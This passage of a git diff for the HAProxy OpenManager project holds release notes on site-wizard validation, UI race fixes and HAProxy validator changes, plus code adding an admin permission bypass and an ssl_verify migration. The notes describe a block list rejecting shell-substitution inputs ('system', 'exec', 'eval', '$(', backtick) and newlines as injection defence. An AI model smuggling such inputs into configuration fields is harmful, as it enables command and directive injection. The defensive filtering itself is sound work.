`redirect_rules` stays `List[Union[str, dict]]` to preserve the + structured-redirect path used by the renderer's + `_format_redirect_rule`. + - Per-element safety validators reject embedded newlines (HAProxy + directive injection prevention), shell-substitution patterns + (`system`, `exec`, `eval`, `$(`, backtick — same set the + manual frontend API has been blocking since pre-R14), 4 KB + string limit, and empty / whitespace-only strings. + - Two new cross-field model validators close silent-bug gaps: + `FrontendStep.reject_tcp_mode_with_https_redirect` (the renderer + used to emit an HTTP-only directive into a TCP frontend) and + `SSLChoice.reject_inverted_tls_versions` (when both `ssl_min_ver` + and `ssl_max_ver` are set, reject `min > max`). +- **Phase B — Step 2 hard-block + TCP-mode guard** + (`SiteWizard.js`, `ACLRuleBuilder.js`). + - The Step 2 Next handler now hard-blocks the + `https_redirect ⊕ redirect_rules` and `mode='tcp' ⊕ + https_redirect` combinations with one-click resolve buttons + ("Disable HTTP→HTTPS switch" / "Remove redirect rules"). + - Switching the frontend to TCP mode auto-clears `https_redirect`; + the Switch is also `disabled` while `mode==='tcp'` with an + explanatory tooltip. + - `ACLRuleBuilder` accepts a new `disableRedirectRules` prop that + visually disables the Redirect Rules section (`aria-disabled`, + greyed-out cards, tooltip) when the parent passes + `https_redirect=true`. The rules data stays in component state + so toggling the switch off restores them. +- **Phase C — Real HAProxy dry-run gate before Create** + (`backend/routers/site_wizard.py`, `SiteWizard.js`). + - New shared helper `_synthesize_candidate_haproxy_config(body, + conn, *, entities_already_inserted)` is used by both + `create_site` (post-insert validation gate) and a new dry-run + path on `POST /api/sites/preview`. Two callsites pinned by + `test_phase_k_create_site_and_preview_use_same_synthesis_helper` + so the apply gate and the dry-run gate cannot silently desync. + - `POST /api/sites/preview` now accepts an optional + `validate_haproxy_config=true` query param. When set, the + endpoint runs `HAProxyConfigValidator` against the synthesised + candidate config and returns a `validation: {is_valid, + error_count, warning_count, errors, warnings, infos}` block in + the same 200 OK envelope. Validator crashes return + `is_valid: null` + `validator_error` (matches `create_site`'s + non-fatal posture). The dry-run path is rate-limited at 5/min + via `_enforce_rate_limit` and emits structured ENTER/EXIT + `logger.info` lines for telemetry. Legacy preview callers + (`SiteDrafts.handlePreview`) are unaffected — they pass no flag. + - The wizard auto-fires the dry-run on Step 4 entry with an + `AbortController` so rapid Step 4 → Step 2 → Step 4 navigation + cancels the in-flight request. A six-state validation card + renders inline: idle / loading / clean (green) / + `warnings_only` (yellow) / `errors` (red, blocks Create) / + `pydantic_error` (red, body-parse failures from Phase A's new + validators or PEM-stripped resume drafts) / `unavailable` + (orange, advisory — Create stays enabled to mirror the + validator-crash-is-non-fatal contract). Each error / + `pydantic_error` row gets an `Edit Step N` jumpback button via + a static directive→step + loc→step mapping table. + - Audit-fix #1 (post-implementation review): the wizard also + resets `dryRunResult.status` to `idle` whenever the operator + leaves Step 4. The ACL builder lives outside the antd Form + so its mutations don't fire `Form.onValuesChange`; without + this reset a stale `clean`/`errors`/`warnings_only` status + survives Step 4 → Step 2 (ACL edit) → Step 4 round-trips + and the auto-fire branch suppresses the next fetch. With + the reset every Step 4 entry triggers a fresh dry-run + (rate-limit-safe — entry is operator-initiated, not + programmatic). + - Audit-fix #2 (post-implementation review): the + `Edit Step N` jumpback now also resolves the target step + from the error **message text** when `loc` cannot pinpoint + it. Pydantic v2 raises `model_validator(mode="after")` + errors with `loc=()`; FastAPI prepends `'body'` so the + operator-visible envelope is `loc=['body']` (length 1). + The legacy `_locPathToStep` early-returned null for this + case, dropping the jumpback for PEM-stripped resume + ("ssl.mode='upload' requires a non-empty PEM-encoded + certificate_content …") and every + `enforce_acme_apply_and_http` cross-field rejection. A + small ordered pattern table recovers the step from the + failure message text so operators always get a working + "fix-from-here" button. + - Audit-fix #2 round 3 (post-implementation review): the + pattern table is ordered so cross-field ACME messages + route to the step the operator must EDIT to fix the + error, not the step that "feels related". A naive ordering + ("SSL first because every cross-field message starts with + `ssl.mode='acme'`") would route every cross-field hit to + Step 3, defeating the jumpback. Order is now: + `apply_immediately` (Step 4) → `wildcard`/`domains` (Step + 0) → `frontend.*`/`bind_port` (Step 2) → `backend.*` (Step + 1) → SSL catch-all (Step 3, LAST). With this ordering, + "ssl.mode='acme' requires apply_immediately=true" routes + to Step 4 (toggle the switch), "ssl.mode='acme' requires + frontend.bind_port=80" routes to Step 2 (edit FE port), + and "(HTTP-01) cannot issue wildcard certs" routes to + Step 0 (remove wildcard). PEM-stripped and other SSL-only + errors still hit Step 3 via the final catch-all. + - Audit-fix #2 round 4 (post-implementation review): the + pydantic_error renderer no longer emits a stray + `: ` orphan-colon prefix when the failing + error has no field path. SiteCreate-level model_validator + errors land with `loc=['body']` (length 1); after dropping + the leading `'body'` marker the joined path is empty. + Pre-fix the renderer wrapped that empty string in + `...: `, producing a visually broken " : " + prefix in front of every PEM-stripped resume message and + every `enforce_acme_apply_and_http` cross-field rejection. + Post-fix the strong/colon prefix renders only when a real + field path exists. +- **Phase D — HTTPS step simplification + UI parity** + (`SiteWizard.js`). + - TLS bounds (`ssl_min_ver`, `ssl_max_ver`) and the HSTS quartet + stay first-class on the SSL step; rarely-used knobs + (`https_bind_port`, `https_frontend_name_suffix`, `ssl_alpn`, + `ssl_ciphers`, `ssl_ciphersuites`, `ssl_strict_sni`, + `ssl_verify`) move into a nested **Advanced TLS settings + (rarely needed)** Collapse that defaults to closed. A read-only + summary line ("Port 443, ALPN h2,http/1.1, …") shows the safe + defaults that apply unless overridden. + - The Advanced Collapse auto-opens (`defaultActiveKey`) when a + saved draft has any non-default value, so resumed drafts + surface their custom tuning instead of silently hiding it. + - HSTS UI parity for the Phase A + `reject_hsts_preload_without_hsts` validator: the + `hsts_preload` Switch is `disabled` until HSTS is enabled, + `max-age ≥ 31536000`, AND `includeSubDomains=true`. + `hsts_max_age` and `hsts_include_subdomains` are also disabled + while `hsts_enabled=false`. + - TLS min/max ordering UI parity: the `ssl_min_ver` / + `ssl_max_ver` Selects use Antd `dependencies` + a custom + validator that rejects min > max client-side with the same + wording the Phase A model validator uses. + +**Backward compatibility** + +- The existing `/api/sites` POST envelope is unchanged. +- The existing `/api/sites/preview` POST envelope gains an optional + `validation` field that legacy callers can ignore. The + `validate_haproxy_config` flag defaults to `false`, so + `SiteDrafts.handlePreview` and any external integrators keep + their pre-Phase K behaviour. +- `redirect_rules` retains its `List[Union[str, dict]]` shape, so + any historical caller (or saved draft) that used the structured + dict form continues to work. +- The Pydantic safety validators (`system`, `exec`, `eval`, `$(`, + backtick) match the manual frontend API's existing + `validate_acl_rules` posture, which has been in production + blocking the same substrings since pre-R14 with no operator + complaint. No existing wizard payload that previously round- + tripped through `services/haproxy_config.py` can be rejected by + these new validators. +- The `_synthesize_candidate_haproxy_config` helper in + `entities_already_inserted=True` mode is functionally identical + to the previous inline `generate_haproxy_config_for_cluster` + call inside `create_site`. The refactor is pure DRY plumbing. + +##### Rollback considerations (Phase K) + +If you must roll back to a pre-Phase-K v1.5.x build: + +- **Saved drafts** with the new `acl_rules: List[str]` shape are + forward- and backward-compatible: the legacy build also expected + string elements at the renderer level, the rejection only ever + happened at the wizard model boundary. Operators on the legacy + build hit the same 422 the new build is fixing — no DB rewrite + needed. +- **`/api/sites/preview` `validation` block** is a new optional + field; legacy frontend callers ignore unknown fields. The + `validate_haproxy_config` query param default is `false`, so + legacy callers do not exercise the dry-run branch. +- **No DB migrations** are introduced by Phase K. The + `frontends.acl_rules` / `redirect_rules` / `use_backend_rules` + JSONB columns remain unchanged. + +##### Phase K Phase D — Operator-feedback follow-ups (Bulgu #1–#6) + +Operator review of the Phase A–C release surfaced six additional +issues. Each is rooted in a UX inconsistency or a residual stuck +state, and the fixes converge on a "single source of truth + ref- +based dry-run lifecycle" architecture: + +- **Bulgu #1 — Cluster scope.** Pre-fix Step 0 had its own cluster + Select dropdown decoupled from the header. Operators routinely + picked cluster A in the header and cluster B in the wizard with + zero visual signal that the wizard would target a different + cluster than every other tool. Phase D pipes the wizard through + the SAME `ClusterContext` that FrontendManagement / BackendServers + / SSLManagement consume, hides Step 0's `cluster_id` `Form.Item`, + and replaces the picker with a read-only `` display + hint + to change cluster via the header. A `useEffect` keeps + `form.cluster_id` synchronised with `selectedCluster.id` so mid- + wizard header changes propagate; the existing cluster-transition + cleanup effect handles cert-id orphan reconciliation. Resume from + a draft that targets a different cluster now auto-swaps the + header cluster (best-effort `selectCluster()` call) so post- + resume edits stay cluster-consistent. + +- **Bulgu #2 — SSL CA bundle dropdown filter.** Backend's + `BackendServers.js` filters the CA-bundle Select with + `?usage_type=server`, so operators only see certs imported with + the right purpose. The wizard pre-fix surfaced EVERY cert in the + cluster regardless of usage, letting an operator submit a payload + that apply-time HAProxy would parse-error on (`unable to load + SSL private key`). Phase D filters explicitly: + * Per-server CA bundle Select → `usage_type === 'server'`. + * SSL & ACME step's "Existing certificate" Select → + `usage_type === 'frontend'`. + The empty-state Alert was also updated to reason about only the + filtered list so a cluster with N server-side certs but zero + frontend certs renders the "no certs imported" hint correctly. + +- **Bulgu #3 — Stuck "Validating against HAProxy…".** The root + cause was a self-cancel race in the auto-fire `useEffect`. The + effect deps array included `dryRunResult.status`, and the effect + body called `setDryRunResult({status: 'loading'})` at the top. + The status change re-triggered the effect; React's cleanup of the + previous run fired BEFORE the new body, aborting the in-flight + controller; the new body returned early because `status !== + 'idle'`; the aborted fetch's `.catch` block detected + `signal.aborted` and returned without setting state. Status + stayed `'loading'` forever. Audit-fix #1 (round 1) had addressed + the leave-Step-4 cleanup branch but the enter-Step-4 self-abort + was a separate failure mode that only surfaced on a real backend. + Phase D switches the lifecycle to a ref-driven model: + * `dryRunStatusRef` shadows the latest status (synced via a + passive `useEffect`). + * `dryRunInvalidationTick` is the external re-trigger channel; + `onValuesChange` bumps it when the operator edits a Step-4- + visible field (e.g. the Apply Immediately switch). + * The main effect's deps array drops `dryRunResult.status` and + becomes `[step, form, aclBuilderData, dryRunInvalidationTick]` + — none of these change on a self-issued setDryRunResult, so + the self-cancel race is structurally impossible. + * Cleanup nulls the abort ref only if it still points to the + torn-down controller, so a fresh fetch's ref is never + accidentally cleared. + +- **Bulgu #4 — Preview missing fields.** The /api/sites/preview + response previously echoed only a sparse subset of fields, so the + SiteDrafts Preview modal could not show whether per-server + timings, backend cookie persistence, frontend maxconn, HSTS, or + ciphersuites would actually land on disk. Phase D enriches both + the backend response (additive — all existing keys preserved) + AND the SiteDrafts UI: + * Backend: emits the full operator-settable surface area on + `would_create` (backend cookie/timeouts/options, per-server + timings + SSL+CA-bundle details, frontend maxconn/timeouts/ + compression/ACL counts, HTTPS ciphersuites, etc.). + * Frontend: replaces the four flat Descriptions blocks with a + typed renderer that only surfaces NON-DEFAULT values + (`isMeaningful` predicate) so the modal stays scannable. A + dedicated per-server card surfaces every per-server field + the operator customised. HSTS gets its own section when + enabled. + +- **Bulgu #5 — Resume hydration regressions.** Two issues: + 1. Existing certificate was wiped on resume. Root cause was + the orphan-detect effect running on the SAME render that + the resume effect committed the new cluster_id. existingCerts + was still `[]` (fetch in flight), so `certIds = new Set()` + and the freshly-resumed `ssl.ssl_certificate_id` looked like + an orphan and got cleared. Phase D fix: short-circuit the + orphan-detect when `existingCertsLoading=true` and add the + loading flag to the effect deps so the check re-runs after + the fetch settles. ALSO: pin `prevClusterRef.current` to + `merged.cluster_id` BEFORE `form.setFieldsValue(merged)` so + the cluster-transition cleanup effect does not misread the + hydration as a user-driven cluster switch. + 2. The same stuck "Validating against HAProxy…" — resolved by + the Bulgu #3 self-cancel-race fix above. + +- **Bulgu #6 — Create as PENDING button removed.** Pre-fix the + wizard had TWO submit buttons. The "Create as PENDING" button + bypassed the standard manual-flow convention (entity Create → + PENDING version → Apply Management review → operator Apply). The + "Create & Apply" button bypassed Apply Management entirely. + Operators were trained to "always Create & Apply", defeating the + change-review benefit of Apply Management. Phase D consolidates: + * Single button: "Create Site" (or "Create & Apply (ACME)" when + sslMode='acme', because ACME forces the immediate apply for + the HTTP-01 challenge). + * `handleSubmit` derives `effectiveApply` from `sslModeAtSubmit + === 'acme'` — no button-driven branching. + * Non-ACME flow: `apply_immediately=false` → backend returns + `created_pending` → operator is navigated to /apply-management + where they review the bulk version and click Apply (same + Agent-pull cadence as manual entity creation). + * ACME flow: `apply_immediately=true` (M22 model_validator + enforces this) → standard `created_applied` response. + * The `acmeBlocksDraft` derivation that gated the (now-removed) + PENDING button is retired — handleSubmit's `effectiveApply` + replaces the gate. + +##### Phase K Phase D — Backward compatibility / rollback + +- **Cluster picker change.** Operators who relied on the wizard- + internal cluster Select must switch via the header instead. No + data-layer change. Drafts saved on a different cluster + auto-swap the header on resume. +- **`/api/sites/preview` response shape.** Additive only — every + pre-existing key keeps the same shape; new keys are + `cluster_id`, `domains`, additive fields on `backend` / `servers` + / `frontend_http` / `frontend_https`. Legacy frontend callers + ignore unknown fields. +- **`/api/sites` request shape.** Unchanged. +- **No DB migrations** are introduced by Phase K Phase D. + +##### Phase K Phase D — Follow-up audit findings (Bulgu #7–#8) + +A deeper post-implementation audit surfaced two additional +race conditions that were not visible in the first pass. Both +are now resolved on the same `pilot` branch: + +- **Bulgu #7 — Resume cluster swap race on cold mount.** On a + browser refresh of `/sites/new` while a Resume click had + already pre-populated sessionStorage, the wizard mount races + against `ClusterContext`'s `fetchClusters()`. The resume + effect ran with `clustersFromContext=[]`, so + `selectCluster(draftCluster)` was silently skipped. Then + `ClusterContext` finished loading and `selectedCluster` + became the user's `defaultCluster` (NOT the draft's + cluster). The naive header sync then overwrote + `form.cluster_id` with the default cluster, and the + cluster-transition cleanup effect read that overwrite as a + user-driven switch and wiped the draft's cert selections — + the Bulgu #5 second-order failure that survived the + short-circuit fix on a cold mount path. + + Fix: header sync effect grew a one-shot post-resume swap + branch keyed on `resumedFromDraft && !resumeClusterSynced`. + When the draft's `cluster_id` is in the freshly-loaded + `clustersFromContext`, the swap pushes the HEADER to the + draft cluster instead of forcing the form to follow the + header. The `resumeClusterSynced` state gates this to + exactly ONE attempt so a later operator-driven header + cluster change is honoured normally. `selectClusterRef` + (a `useRef(selectCluster)` updated by a tiny sync effect) + keeps the dep set small so the header sync effect does not + re-run on every `ClusterProvider` render. + + Pin: `tests/test_frontend_auth_bootstrap_phase_j.py:: + test_phase_k_phase_d_resume_cluster_swap_race_fix`. + +- **Bulgu #8 — Mid-wizard cluster change leaves stale dry-run.** + When an operator on Step 4 changes the header cluster, the + wizard's cluster_id transitions through `form.setFieldsValue` + (the header sync effect's standard force path). Antd's + `setFieldsValue` is a SILENT update that does NOT fire + `onValuesChange`, so the dry-run invalidation tied to + `onValuesChange` never ran. Result: the Step 4 validation + card kept displaying the PREVIOUS cluster's "clean" verdict + even though the wizard payload now targeted a different + cluster. + + Fix: the cluster-transition cleanup effect (which already + detected the change to wipe stale cert ids) now also resets + `dryRunResult` to idle and bumps `dryRunInvalidationTick` + whenever `dryRunStatusRef.current !== 'idle'`. The dry-run + effect's dep list picks up the tick bump and re-fires + against the new cluster as soon as the operator reaches + Step 4. + + Pin: `tests/test_frontend_auth_bootstrap_phase_j.py:: + test_phase_k_phase_d_cluster_change_invalidates_dry_run`. + +Both fixes are additive (no API or DB changes) and rollback +without leaving residual state — disabling the new effects +simply restores the previous (racy) behaviour. + +##### Phase K Phase D — Operator-feedback round 2 (Bulgu #9–#11) + +A second operator-feedback round surfaced one parity gap and two +follow-ups on the wizard's HAProxy validation experience: + +- **Bulgu #9 — Wizard PEM upload parity with SSL Management page.** + Pre-fix `services.ssl_service.create_cert_row` (the helper the + wizard calls when `ssl.mode='upload'`) was a thin INSERT that + never parsed the PEM. It stored `primary_domain` / `all_domains` + from the operator-entered FRONTEND domains (not the cert SAN), + left `expiry_date` / `issuer` / `fingerprint` NULL, hard-coded + `status='valid'` and `days_until_expiry=0`, never validated the + private key or chain, never checked name uniqueness (so a + duplicate name would 500 at the DB unique constraint), and could + not reactivate a soft-deleted row of the same name. The + resulting cert showed up on the SSL Management page with empty + expiry/issuer columns and a permanent "valid" status — confusing + UX and clearly inconsistent with the dedicated SSL Management + upload flow (`POST /api/ssl/certificates`). + + Fix: `create_cert_row` now mirrors `routers/ssl.py:: + create_ssl_certificate`: + - parses the PEM via `utils.ssl_parser.parse_ssl_certificate` + (raises HTTPException 400 on parse failure), + - validates private_key + chain via `validate_private_key` + / `validate_certificate_chain`, + - computes status / days_until_expiry from the normalised + timezone-naive UTC `expiry_date`, + - enforces name uniqueness within the target cluster (returns + 400 instead of a DB-level 500), + - reactivates soft-deleted rows of the same name (preserves + the row id for downstream references). + + Pin: `tests/test_ssl_service_extraction.py` — 11 tests cover + the happy path, all 6 negative paths (parse fail, empty content, + bad private key, bad chain, duplicate active name, soft-delete + reactivation), and the "metadata comes from PEM, not payload" + contract. + +- **Bulgu #10 — Heuristic validator rejected wizard's own default + timeouts.** The wizard's config synthesis emits `timeout connect + 10000ms` / `timeout server 60000ms` / `timeout client 100ms` + (millisecond suffix is canonical HAProxy syntax). The pre-fix + heuristic regex was `^\d+[smhd]?$`, which only allowed the + single-character suffixes `s`/`m`/`h`/`d` — `ms` was rejected + outright even though the same validator's own suggestion text + said "Use format like '5s', '30000ms', '1m'". Operators saw + 10+ FALSE-POSITIVE "Invalid timeout value '10000ms'" errors on + the wizard's defaults at Step 4 and could not click Create. + + Fix: `utils/haproxy_validator.py::_validate_timeout_directive` + regex relaxed to `^\d+(us|ms|s|m|h|d)?$` — accepting the full + set of HAProxy time-format suffixes (per the HAProxy docs Time + format chapter) while still rejecting malformed values like + `10000xx`, `abc`, `-100ms`, `1.5s`, and bare `ms`. + + Pin: `tests/test_haproxy_validator_timeout_units.py` — 17 + parametrised cases (11 valid formats, 5 invalid formats, plus + the exact operator-reported failure mode). + +- **Bulgu #11 — Operator reported "Previous loses values".** + Architectural review confirmed the wizard's contract is sound: + every step is rendered into a long-lived `
` whose only + step-driven prop is the CSS `display` toggle (`block` vs + `none`). React does NOT unmount the children, Antd's Form.Item + registrations stay intact, and the Antd default `preserve=true` + keeps values in form state even for the inner Form.Items that + conditional-render inside `` (SSL mode + branches, TCP/http frontend mode toggle). All wizard + `setFieldsValue` call-sites are guarded by domain triggers + (cluster change, sslMode change, TCP-mode-clears-https_redirect, + resume hydration) — none fire on a Previous/Next click alone. + + No code regression was identified. Most likely operator + perception driver: with Bulgu #10 fixed, the `timeout + connect=10000` / `timeout server=60000` values the operator + saw in the "Advanced backend settings" Collapse after coming + back from Step 4 are simply the wizard's pre-existing defaults + (`backend.timeout_connect=10000`, `backend.timeout_server= + 60000`, `backend.timeout_queue=60000`), not regressed values + — these were never operator-entered, just defaults the + operator did not notice in the collapsed Advanced section on + the forward pass. + + Defensive measure: a static-source pin test asserts the + architectural contract so a future refactor cannot regress + to per-step conditional rendering or sneak a + `preserve={false}` in: + `tests/test_frontend_auth_bootstrap_phase_j.py:: + test_phase_k_phase_d_wizard_preserves_form_state_across_step_navigation`. + + If the operator can reproduce specific field-level state loss + on a Previous click after the Bulgu #10 fix, please file the + repro steps so we can target the actual scenario. + +##### Rollback considerations (Phase I) + +If you must roll back to a pre-rebrand v1.5.x build after operators have already saved drafts on the new build: + +- New rows on `wizard_drafts` with `wizard_type='site'` will be invisible to the legacy code path that filters on `wizard_type='proxied_host'` only. Operators will see those new drafts disappear from the listing AND will not be counted against the 50-draft cap. The rows themselves are not deleted — they expire via the standard 30-day TTL prune. +- Pre-rebrand rows with `wizard_type='proxied_host'` continue to work on the legacy build because their value never changed. +- The schema-level `DEFAULT` is not rolled back automatically. Operators rolling back can either (a) leave it at `'site'` (harmless — the legacy build hard-codes `'proxied_host'` in every INSERT, so the default is never consulted) or (b) re-run an `ALTER TABLE wizard_drafts ALTER COLUMN wizard_type SET DEFAULT 'proxied_host'` to restore the original schema. + +##### Phase K Phase D — Operator-feedback round 3 (Bulgu #12) + +**Operator-reported failure flow** (May 11, 2026): + +The wizard's Step 4 dry-run showed 8 WARNINGs but no ERRORs, so Create proceeded; the operator then applied via Apply Management and the real `haproxy -c` parse rejected the config: + +``` +[ALERT] parsing [/tmp/haproxy-new-config.cfg:79] : error detected while parsing ACL 'acl1' : failed to open pattern file . +[ALERT] parsing [/tmp/haproxy-new-config.cfg:87] : error detected while parsing switching rule : no such ACL : 'acl1'. +[ALERT] Fatal errors found in configuration. +``` + +The 8 WARNINGs were ALSO operator-confusing false positives: + +``` +[frontend] Directive 'stick-table' may not be valid in 'frontend' section +[frontend] Directive 'tcp-request' may not be valid in 'frontend' section (×2) +[backend] Directive 'cookie' may not be valid in 'backend' section (×2) +[backend] Missing 'global' section - recommended for production +``` + +**Two root causes:** + +1. **Heuristic validator `valid_directives` was incomplete** — `stick-table`, `tcp-request`, `tcp-response`, `cookie`, `http-after-response`, `errorfile`, `description`, `id`, `filter`, etc. are perfectly valid in their respective sections but the validator's small hand-picked sets did not list them. Every wizard / manual page that emitted them flagged a spurious "may not be valid" WARNING. The wizard's pre-persist apply-time gate uses the same validator; even though it only blocks on ERROR-level findings, the noise polluted the operator-visible response trail and the version-history page. + +2. **ACL `-f ` pattern-file references** — the visual ACL builder offered `-f (from file)` as a selectable flag, and neither the manual Frontend API's Pydantic validator (`models/frontend.py::validate_acl_rules`) nor the wizard's Pydantic validator (`models/site_wizard.py::_validate_haproxy_directive_string`) rejected `-f`. HAProxy OpenManager is a fully-managed product: it does NOT provision pattern files onto the HAProxy node's filesystem, so any operator-typed `-f /path/...` ALWAYS resolves to "file not found" at HAProxy reload time. The UI made it trivial to author an unsupported state. + +**Three-layer fix:** + +**Layer A — Heuristic validator** (`backend/utils/haproxy_validator.py`): + +- Expanded `valid_directives['frontend']` to include `stick-table`, `stick`, `tcp-request`, `tcp-response`, `http-after-response`, `errorfile`, `errorloc`, `errorloc302`, `errorloc303`, `http-error`, `description`, `id`, `filter`, `monitor`, `unique-id-format`, `unique-id-header`, `declare`, `http-buffer-request`, plus a long-tail of less-common-but-valid directives. +- Expanded `valid_directives['backend']` to include `cookie`, `appsession`, `tcp-request`, `tcp-response`, `tcp-check`, `retries`, `fullconn`, `dispatch`, `redirect`, `use-server`, `acl`, `capture`, `errorfile`, `description`, `id`, `filter`, `rate-limit`, `email-alert`, `force-persist`, `transparent`, `source`, plus a long-tail. +- Added `partial_fragment: bool = False` parameter to `HAProxyConfigValidator.validate_config()` and the module-level `validate_haproxy_config()`. When True (or auto-detected via the wizard's marker comment), the validator suppresses the "Missing 'global' section" / "Consider adding 'defaults' section" diagnostics — the wizard / cluster synthesis intentionally OMITS those blocks because the agent merges them with its local copy on disk. +- Both the wizard's `/preview` dry-run AND the apply-time pre-persist gate now pass `partial_fragment=True` (`backend/routers/site_wizard.py`). + +**Layer B — ACL `-f` rejection in Pydantic** (server-side gate): + +- `backend/models/site_wizard.py`: Added `_ACL_FILE_FLAG_PATTERN = re.compile(r"(^|\s)-f(\s|$)")` and rejected the pattern inside `_validate_haproxy_directive_string` with an operator-friendly message explaining why the product cannot support pattern files. This covers `acl_rules`, `use_backend_rules`, and string-shaped `redirect_rules`. +- `backend/models/frontend.py::validate_acl_rules`: Mirrored the same rejection on the manual Frontend API so both create paths return the identical 400/422 envelope. + +**Layer C — ACL `-f` removal from the visual builder + UI gates** (client-side authoring guardrail): + +- `frontend/src/components/ACLRuleBuilder.js`: Removed `-f` from the selectable `FLAGS` list. Updated `FLAG_HINTS` to drop the `-f` mention. Existing rules that already carry `-f` (loaded from saved drafts pre-fix) keep the tag visible as `-f (deprecated — remove)` so operators can SEE and REMOVE the flag, but cannot re-add it once removed. Added a section-level red `Alert` that counts every rule carrying `-f` and explains the failure mode + remediation. Inline rule-card error decoration (`status='error'` + red border + inline description) surfaces the same message at the per-rule level. Mirrored the regex client-side so raw-mode typed `-f` immediately flags inline. +- `frontend/src/components/SiteWizard.js`: Added a Step 2 → Step 3 hard-gate on the Next button — if ANY rule still carries `-f`, the click surfaces the same operator-friendly error and refuses to advance. +- `frontend/src/components/FrontendManagement.js::handleSubmit`: Mirrored the same gate so the manual Frontend page rejects submit identically. + +**Backward compatibility:** + +- Existing drafts that contain `-f`-flagged rules still load — the ACLRuleBuilder displays them visibly so operators can remove them. Submit is blocked until they do. +- Existing PERSISTED frontend rows in the DB that already carry `-f` (created before this fix) continue to work at the agent level — the validator changes do NOT retroactively reject them. They can still be EDITED through the UI (which will block save until `-f` is removed) or read via the API for visibility / audit. +- The expanded `valid_directives` sets only ADD entries; nothing previously accepted is now flagged. Pre-existing tests that asserted "Directive X is valid" continue to pass. + +**Tests added:** + +- `backend/tests/test_haproxy_validator_bulgu12.py` (27 new tests): + - Per-directive false-positive regression pins for both frontend and backend sections. + - `partial_fragment=True` suppression + marker-comment auto-detect. + - Wizard Pydantic `-f` rejection across spacing/position variants. + - Anchor-correctness pin: regex must NOT match `-foo` / `-file` substrings inside other tokens. + - Manual Frontend API parity pin. + - End-to-end pin replaying the user's actual config (minus `-f`) with zero spurious WARNINGs. + +- `backend/tests/test_site_wizard_phase2_validator_gate.py`: Widened the pre-window lookback from 400 to 1500 chars to accommodate the partial-fragment forwarding comment block. + +**Rollback considerations:** + +- Reverting the `valid_directives` expansion brings back operator-visible WARNING noise but does NOT break apply (which only gates on ERROR). Safe to roll back if a regression is discovered. +- Reverting the `-f` Pydantic rejection ALLOWS operators to author the failure mode again, but does not break anything that worked before. Roll back ONLY if a customer has pre-provisioned pattern files and a tightly-controlled need to reference them. +- Reverting the ACLRuleBuilder UI changes is a pure visual revert; the Pydantic gate keeps the safety net. + +### Earlier Releases + +For earlier release notes (v1.4.0 ACME stability + enterprise audit, v1.3.0, ...) see the [GitHub Releases](https://github.com/taylanbakircioglu/haproxy-openmanager/releases) page. + +--- + **Made with ❤️ for the HAProxy community** diff --git a/backend/auth_middleware.py b/backend/auth_middleware.py index 8040a95..8177eb1 100644 --- a/backend/auth_middleware.py +++ b/backend/auth_middleware.py @@ -227,11 +227,60 @@ async def get_user_permissions(user_id: int) -> Dict[str, Dict[str, bool]]: logger.error(f"Error getting user permissions for user {user_id}: {e}") return {} -async def check_user_permission(user_id: int, resource: str, action: str) -> bool: +async def check_user_permission( + user_id: int, + resource: str, + action: str, + *, + current_user: Optional[Dict[str, Any]] = None, +) -> bool: """ - Check if user has specific permission + Check if user has specific permission. + + R18c round 7 (Bulgu 1): system-wide admin bypass. A user with + ``users.is_admin = TRUE`` is the canonical super-admin and MUST pass + every granular permission check, regardless of the role they're + attached to. Otherwise enterprise admins were getting 403s on + composite endpoints (e.g. wizard CREATE) when their role's + ``permissions`` JSONB didn't enumerate every individual action + (backend.create, frontend.create, ssl.create, apply.execute). + + Two short-circuit paths: + + 1. Caller already has ``current_user`` resolved (typical FastAPI + endpoint) — pass it via the kwarg-only ``current_user`` to skip + the DB roundtrip entirely. + 2. Caller doesn't have it — we run a single + ``SELECT is_admin FROM users WHERE id=$1 AND is_active=TRUE`` + before falling back to the role-based permission lookup. + + Backward-compat: positional 3-arg signature preserved. """ try: + # Path 1: caller-provided current_user dict + if current_user is not None and current_user.get("is_admin") is True: + logger.debug( + "Admin bypass for %s.%s (user_id=%s, via current_user)", + resource, action, user_id, + ) + return True + + # Path 2: cheap is_admin lookup before role-permissions join + conn = await get_database_connection() + try: + row = await conn.fetchrow( + "SELECT is_admin FROM users WHERE id = $1 AND is_active = TRUE", + int(user_id), + ) + finally: + await close_database_connection(conn) + if row and row.get("is_admin") is True: + logger.debug( + "Admin bypass for %s.%s (user_id=%s, via DB lookup)", + resource, action, user_id, + ) + return True + permissions = await get_user_permissions(user_id) return permissions.get(resource, {}).get(action, False) except Exception as e: diff --git a/backend/database/migrations.py b/backend/database/migrations.py index 5b0fca7..cf487fb 100644 --- a/backend/database/migrations.py +++ b/backend/database/migrations.py @@ -116,7 +116,22 @@ async def ensure_agents_table(): # Ensure frontend columns exist (for comprehensive frontend config support) frontend_columns = { 'ssl_cert': "ALTER TABLE frontends ADD COLUMN ssl_cert TEXT;", - 'ssl_verify': "ALTER TABLE frontends ADD COLUMN ssl_verify VARCHAR(50) DEFAULT 'optional';", + # PR-2 (R11.B): default flipped from 'optional' to NULL. + # Pre-PR-2 every newly INSERTED frontend row carried + # ``ssl_verify='optional'``, which the HAProxy config + # generator then rendered as ``bind ... ssl ... verify + # optional`` — but without a client-CA bundle (no + # ``ssl_client_ca_certificate_id`` column exists yet), + # HAProxy emitted the fatal ALERT + # ``verify is enabled but no CA file specified``. The + # explicit data cleanup migration further down (`pr2_…`) + # also flips existing ``DEFAULT 'optional'`` definitions + # on already-deployed databases via + # ``ALTER COLUMN ... DROP DEFAULT``. The Python-side + # safeguard in services/haproxy_config.py + # (``_apply_bind_ssl_verify``) is the runtime backstop; + # this is the data-side fix. + 'ssl_verify': "ALTER TABLE frontends ADD COLUMN ssl_verify VARCHAR(50);", 'timeout_client': "ALTER TABLE frontends ADD COLUMN timeout_client INTEGER;", 'timeout_http_request': "ALTER TABLE frontends ADD COLUMN timeout_http_request INTEGER;", 'rate_limit': "ALTER TABLE frontends ADD COLUMN rate_limit INTEGER;", @@ -139,6 +154,74 @@ async def ensure_agents_table(): await conn.execute(query) logger.info(f"Successfully added column '{col}' to 'frontends'.") + # ───────────────────────────────────────────────────────────────── + # PR-2 R11.B: ssl_verify default flip + invalid value cleanup. + # Already-deployed databases (created before PR-2) still have the + # column DEFAULT set to 'optional'. Drop the default in-place so + # all subsequent INSERTs leave the column NULL when no value is + # supplied. Existing rows are NOT mass-rewritten — operators may + # have legitimately enabled mTLS, and the runtime safeguard in + # services/haproxy_config.py handles them. We only clean up rows + # where the value is OUTSIDE the canonical Literal set, which is + # always-incorrect data (legacy 'true'/'false'/'1' artefacts that + # the unified Pydantic Literal would now reject). + # ───────────────────────────────────────────────────────────────── + try: + ssl_verify_default = await conn.fetchval(""" + 